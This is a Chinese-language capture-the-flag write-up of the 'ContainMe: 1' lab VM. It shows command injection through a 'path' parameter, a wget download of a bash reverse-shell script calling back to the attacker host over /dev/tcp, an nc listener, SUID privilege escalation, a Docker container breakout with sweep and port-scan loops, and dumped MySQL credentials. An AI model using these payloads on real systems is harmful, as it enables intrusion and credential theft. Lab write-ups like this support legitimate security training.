靶机地址:ContainMe: 1
下载地址:THM-ContainMe-v4.ova (Size: 2.2 GB)
难易程度:难
信息收集
主机发现
sudo arp-scan -l
端口扫描
sudo nmap -A -p- 192.168.8。9
目录扫描
sudo dirb http://192.168.8.9
dirsearch -u 192.168.8.9 -i 200
发现三个文件index.php,index.html,info.php
依次访问看一下
index.html
info.php
返回了php探针
index.php
页面结果好像执行了ls -la
命令
查看页面源代码:
漏洞利用
模糊测试 fuzz ?
wfuzz自动字典位置/usr/share/wfuzz/wordlist
wfuzz -c -u http://192.168.80.139/index.php?FUZZ=../../../../../../etc/passwd -w /usr/share/wfuzz/wordlist/general/common.txt --hh 329
发现了参数path,手动确认一下:
http://192.168.80.139/index.php?path=/etc/passwd
http://192.168.8.9/index.php?path=/etc
http://192.168.8.9/index.php?path=;id
发现确实存在命令执行漏洞
查看那个目录可以写入文件
http://192.168.8.9/index.php?path=;%20ls%20-l%20%20/
kali上开启http服务
python -m http.server 80
写一个反弹shell
#!/bin/bash
# code.sh
bash -i &> /dev/tcp/192.168.8.8/6868 0>&1;
在地址栏中输入
http://192.168.8.9/index.php?path=;wget -P /tmp 192.168.8.8/code.sh;ls -la /tmp;
写入脚本文件后在kali端开启对6868
端口的监听
nc -lvp 6868
然后利用命令执行漏洞使用bash
进行执行code.sh
文件,命令:bash /tmp/code.sh
,成功获得shell权限
容器内提权
查看是否有能以root
身份执行的文件
sudo -l
查看/home
find / -user root -perm /4000 2>/dev/null
发现mike
用户家目录下的1cryptupx
和使用find
命令查看出来的suid
中都有类似的crypt
那就cd /usr/share/man/zh_TW/
执行该crypt
文件,看看效果
拿到交互shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
拿到root后,并没有拿到真正的权限,而在处在Docker容器里
容器外提权
扫描存活的主机
for i in {1..254} ;do (ping 172.16.20.$i -c 1 -w 5 >/dev/null && echo "172.16.20.$i" &) ;done
扫描端口
for port in {1..65535}; do
echo >/dev/tcp/172.16.20.6/$port &&
echo "port $port is open"
done 2>/dev/null |grep open
利用ssh密钥登陆到mike
用户上
查看开放的端口
连接Mysql
获取数据
+-------+---------------------+
| login | password |
+-------+---------------------+
| root | bjsig4868fgjjeog |
| mike | WhatAreYouDoingHere |
+-------+---------------------+